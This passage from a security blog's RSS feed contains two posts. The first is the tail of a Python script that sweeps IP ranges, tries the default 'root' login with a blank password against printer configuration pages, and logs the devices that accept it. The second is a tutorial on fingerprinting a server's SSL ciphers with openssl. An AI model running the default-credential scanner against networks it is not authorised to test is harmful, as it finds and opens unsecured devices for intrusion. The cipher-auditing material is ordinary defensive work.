&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> four <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>octets<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> ranges<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: black;">&#40;</span>one<span style="color: #66cc66;">,</span> two<span style="color: #66cc66;">,</span> three<span style="color: #66cc66;">,</span> four<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CurrentAddress +<span style="color: #66cc66;">=</span> <span style="color: #008000;">str</span> \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>one<span style="color: #66cc66;">,</span> two<span style="color: #66cc66;">,</span> three<span style="color: #66cc66;">,</span> four<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span>loop<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; loop +<span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CurrentAddress <span style="color: #66cc66;">=</span> CurrentAddress<span style="color: black;">&#91;</span>:-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">append</span><span style="color: black;">&#40;</span>func<span style="color: black;">&#40;</span>CurrentAddress<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CurrentAddress <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; loop <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> output<br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">'__main__'</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">sys</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">urllib2</span><br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> defaultPrinter<span style="color: black;">&#40;</span>ipAddress<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">try</span>:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Trying '</span> + ipAddress<br />
&nbsp; &nbsp; &nbsp; theurl <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'http://'</span> + ipAddress + <span style="color: #483d8b;">'/indexConf.html'</span><br />
&nbsp; &nbsp; &nbsp; username <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'root'</span><br />
&nbsp; &nbsp; &nbsp; password <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span><br />
<br />
&nbsp; &nbsp; &nbsp; passman <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">HTTPPasswordMgrWithDefaultRealm</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; passman.<span style="color: black;">add_password</span><span style="color: black;">&#40;</span><span style="color: #008000;">None</span><span style="color: #66cc66;">,</span> theurl<span style="color: #66cc66;">,</span> username<span style="color: #66cc66;">,</span> password<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; authhandler <span style="color: #66cc66;">=</span>  <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">HTTPBasicAuthHandler</span><span style="color: black;">&#40;</span>passman<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; opener <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">build_opener</span><span style="color: black;">&#40;</span>authhandler<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">install_opener</span><span style="color: black;">&#40;</span>opener<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; pagehandle <span style="color: #66cc66;">=</span>  <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">urlopen</span><span style="color: black;">&#40;</span>theurl<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> pagehandle.<span style="color: black;">getcode</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">==</span> <span style="color: #ff4500;">200</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span>ipAddress<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">except</span>:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">pass</span><br />
<br />
&nbsp; output <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'w'</span><span style="color: black;">&#41;</span><br />
&nbsp; IPRange<span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> defaultPrinter<span style="color: black;">&#41;</span></div></div>
<p>Happy printer hunting.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/python-script-to-check-for-vulnerable-printers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>fingerprinting SSL tutorial</title>
		<link>http://travisaltman.com/fingerprinting-ssl-tutorial/</link>
		<comments>http://travisaltman.com/fingerprinting-ssl-tutorial/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 23:25:41 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/fingerprinting-ssl-tutorial/</guid>
		<description><![CDATA[My tool of choice when it comes to fingerprinting SSL is OpenSSL. There are other tools out there such as thcsslcheck and ssl digger but in my experience these tools tie your hands when you want granular detail. It&#8217;s best to get it straight from the horse&#8217;s mouth &#62;&#62; OpenSSL. This tutorial focuses on fingerprinting [...]]]></description>
			<content:encoded><![CDATA[<p>My tool of choice when it comes to fingerprinting SSL is OpenSSL. There are other tools out there such as <a href="http://freeworld.thc.org/root/tools/">thcsslcheck</a> and <a href="http://www.foundstone.com/us/resources/proddesc/ssldigger.htm">ssl digger</a> but in my experience these tools tie your hands when you want granular detail. It&#8217;s best to get it straight from the horse&#8217;s mouth &gt;&gt; <a href="http://www.openssl.org/">OpenSSL</a>. This tutorial focuses on fingerprinting the ciphers and protocols supported by a SSL server, you can obtain tons of information from OpenSSL but this tutorial will not dig into all those aspects. Also this tutorial won&#8217;t go into the installation of OpenSSL on your OS just the usage thereof. The first step/command is to determine what kind of ciphers a SSL server may use. This is done by issuing the command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl ciphers -v</div></div>
<p>Output of this command can be seen below.</p>
<p><a title="OpenSSL ciphers command" href="http://travisaltman.com/wp-content/opensslcipherscommand.png"><img src="http://travisaltman.com/wp-content/opensslcipherscommand.png" alt="OpenSSL ciphers command" /></a></p>
<p>I use this command on a consistent basis because it lists ciphers from strongest to weakest. So when looking at output from the OpenSSL command you can refer to this list to see how strong or weak the cipher support may be. The &#8220;<strong>openssl ciphers -v</strong>&#8221; command has nothing to do with what cipher the web server you are trying to fingerprint supports, &#8220;<strong>openssl ciphers -v</strong>&#8221; simply lists the ciphers that OpenSSL can check. I repeat the &#8220;<strong>openssl ciphers -v</strong>&#8221; command has nothing to do with the web server you are fingerprinting. You can also check out the man page for additional options when it comes to listing ssl ciphers.</p>
<p>The command you&#8217;ll use the most is</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl s_client</div></div>
<p>but always with options. The &#8220;<strong>s_client</strong>&#8221; argument emulates a SSL client that can connect to a remote device running a SSL service. Another helpful option is &#8220;<strong>-connect</strong>&#8220;. You&#8217;ll need to supply a name/IP and a port (default port is 4433). Enough talking about the commands lets take a look at some examples.</p>
<p><a title="openssl s_client connect template" href="http://travisaltman.com/wp-content/openssl-s_client-connect-template.png"><img src="http://travisaltman.com/wp-content/openssl-s_client-connect-template.png" alt="openssl s_client connect template" /></a></p>
<p>The command above is the basic template you&#8217;ll use to fingerprint a web server that supports SSL. Instead of IP address you could also use the domain name (e.g. travisaltman.com). See the example below.</p>
<p><a title="openssl s_client -connect error" href="http://travisaltman.com/wp-content/opensslerror.png"><img src="http://travisaltman.com/wp-content/opensslerror.png" alt="openssl s_client -connect error" /></a></p>
<p>You&#8217;ll notice that an error message is generated in the example above, that&#8217;s because no SSL service is listening on port 80 at travisaltman.com. This is a typical error message you will see if openssl fails to connect with a SSL service. Now lets see what a successful connection would look like.</p>
<p><a title="openssl successful connection" href="http://travisaltman.com/wp-content/opensslsuccessfulconnection.png"><img src="http://travisaltman.com/wp-content/opensslsuccessfulconnection.png" alt="openssl successful connection" /></a></p>
<p>The connection may seem to hang but you can kill it with a &#8220;Q&#8221; or &#8220;Cntrl C&#8221;, the connection will also eventually timeout. You&#8217;ll first notice how much information you get back from the server via the openssl command, initially it can be overwhelming.  When it comes to fingerprinting I tend to focus on the &#8220;SSL-Session&#8221; section because it tells you what protocol and cipher is being used for the communication. In the &#8220;SSL-section&#8221; above you see that <a href="http://travisaltman.com">travisaltman.com</a> supports the TLSv1 protocol and the cipher is DHE-RSA-AES256-SHA. This is great that it gives us this information but when it comes to fingerprinting we&#8217;ll want to know what other protocols and ciphers the web server supports. Let&#8217;s say we wanted to know if a web server supports SSLv2 instead of SSLv3 or TLSv1. The command below tells openssl to only connect using SSLv2, this is done with the &#8220;-ssl2&#8243; option.</p>
<p><a title="openssl command with ssl2 option" href="http://travisaltman.com/wp-content/opensslspecifyssl2.png"><img src="http://travisaltman.com/wp-content/opensslspecifyssl2.png" alt="openssl command with ssl2 option" /></a></p>
<p>A truncated version of successful output from this command can be seen below.</p>
<p><a title="successful output from ssl2 option in openssl" href="http://travisaltman.com/wp-content/outputopensslspecifyingssl2.png"><img src="http://travisaltman.com/wp-content/outputopensslspecifyingssl2.png" alt="successful output from ssl2 option in openssl" /></a></p>
<p>So you see that my site supports both SSLv2 and SSLv3, in this case the default cipher for communicating over SSLv2 is the DES-CBC3-MD5 cipher.  You&#8217;ll notice from the &#8220;<strong>openssl ciphers -v</strong>&#8221; command that this is the strongest SSLv2 cipher with a key size of 168. You may then be wondering if this SSL server would support weaker SSLv2 keys and also weaker SSLv3 keys. In order to get this granular you would have to specify within openssl which ciphers to check. This is the reason why I love fingerprinting with openssl as oppose to those tools I mentioned at the beginning of this article. So let&#8217;s say you wanted to know if a SSL server supported the weakest SSLv2 cipher, which according the output of &#8220;<strong>openssl ciphers -v</strong>&#8221; is EXP-RC4-MD5, you can issue the command below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl s_client -ssl2 -cipher EXP-RC4-MD5 -connect travisaltman.com:443</div></div>
<p>A truncated version of successful output from this command can be seen below.</p>
<p><a title="fingerprinting the weakest SSL2 cipher" href="http://travisaltman.com/wp-content/weakestssl2output.png"><img src="http://travisaltman.com/wp-content/weakestssl2output.png" alt="fingerprinting the weakest SSL2 cipher" /></a></p>
<p>So this proves that my SSL server supports the weakest SSL cipher (40 bit key) possible. Looking through the &#8220;<strong>openssl ciphers -v</strong>&#8221; output you&#8217;ll notice another SSLv2 cipher that supports 40 bit (EXP-RC2-CBC-MD5). If you wanted to figure out if the SSL server supports either one of these SSLv2 40 bit ciphers you could issue the command below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl s_client -ssl2 -cipher EXP-RC4-MD5:EXP-RC2-CBC-MD5 -connect travisaltman.com:443</div></div>
<p>The -cipher option behaves like an OR, meaning if any cipher in that colon separated list is found supported by the SSL server the command will execute successfully. Taking a look at an example may clear things up a bit. Let&#8217;s fingerprint our buddies over at <a title="arrrrr maties" href="http://thepiratebay.org/">thepiratebay.org</a> and see what ciphers they support.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl s_client -cipher AES256-SHA -connect thepiratebay.org:443</div></div>
<p>I won&#8217;t bore you with the output, thepiratebay.org does support this strong cipher, now let&#8217;s try the weakest cipher.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">openssl s_client -cipher EXP-RC4-MD5 -connect thepiratebay.org:443</div></div>
<p>No dice, they do not support this weak encryption. Now if you combined these ciphers into one option (<strong>-cipher AES256-SHA:EXP-RC4-MD5</strong>) you would get successful output. So the point is to be careful when going through the fingerprinting process as you may think a SSL server supports a weak cipher when in fact they don&#8217;t. So after you have gone through this process and determined what ciphers and protocols the SSL sever supports what should you take away? This is a very good question and one that lots of people have opinions about. The real answer is it depends on what kind of risk you are willing to accept and how easily accessible you want your application to be. In most cases I would recommend only supporting a SSLv3/TLSv1 256 bit cipher because it&#8217;s so easy to implement. Only supporting 256 bit may mean limited access, especially to legacy applications but this is becoming less and less common. Most modern browsers and applications can now easily handle the higher key ciphers. I would also mention <a title="cve is da bomb" href="http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sslv2">numerous vulnerabilites found within SSLv2</a> including the <a href="http://www.openssl.org/news/secadv_20051011.txt">rollback vulnerability</a> from three years ago. So applications that transmit sensitive information may not want to support SSLv2 at all. Keep in mind that most browsers will attempt to communicate with the highest possible cipher. So even if your SSL server supports SSLv2 for backwards compatibility odds are most users will communicate with the strongest SSLv3/TLSv1 cipher your server supports. You don&#8217;t have to solely rely on openssl, you could also test in Firefox if your SSL server allows communications on weaker ciphers. Simply type about:config in the address bar of Firefox, then in the filter type &#8220;security.ssl&#8221;. From there you can enable and disable various ciphers and see if your SSL sever allows the communication. A screen shot of this can be seen below.</p>
<p><a title="about:config SSL settings within Firefox" href="http://travisaltman.com/wp-content/aboutconfigfirefoxsslsettings.png"><img src="http://travisaltman.com/wp-content/aboutconfigfirefoxsslsettings.png" alt="about:config SSL settings within Firefox" /></a></p>
<p>That pretty much wraps up this tutorial on fingerprinting SSL. In my spare time I wrote a shell script that automated this process for me given a list of IP&#8217;s that were running a SSL sever. This shell script is not ready for prime time but I hope to release a &#8220;tools&#8221; section soon and place some of my other scripts in there as well.  I&#8217;m no guru on this subject it&#8217;s just simply my experience. As always your feedback is welcome.</p>
<p>travis@hacktop:~$ more references</p>
<p><a title="best openssl command line reference" href="http://h71000.www7.hp.com/doc/83final/BA554_90007/rn01.html">http://h71000.www7.hp.com/doc/83final/BA554_90007/rn01.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/fingerprinting-ssl-tutorial/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

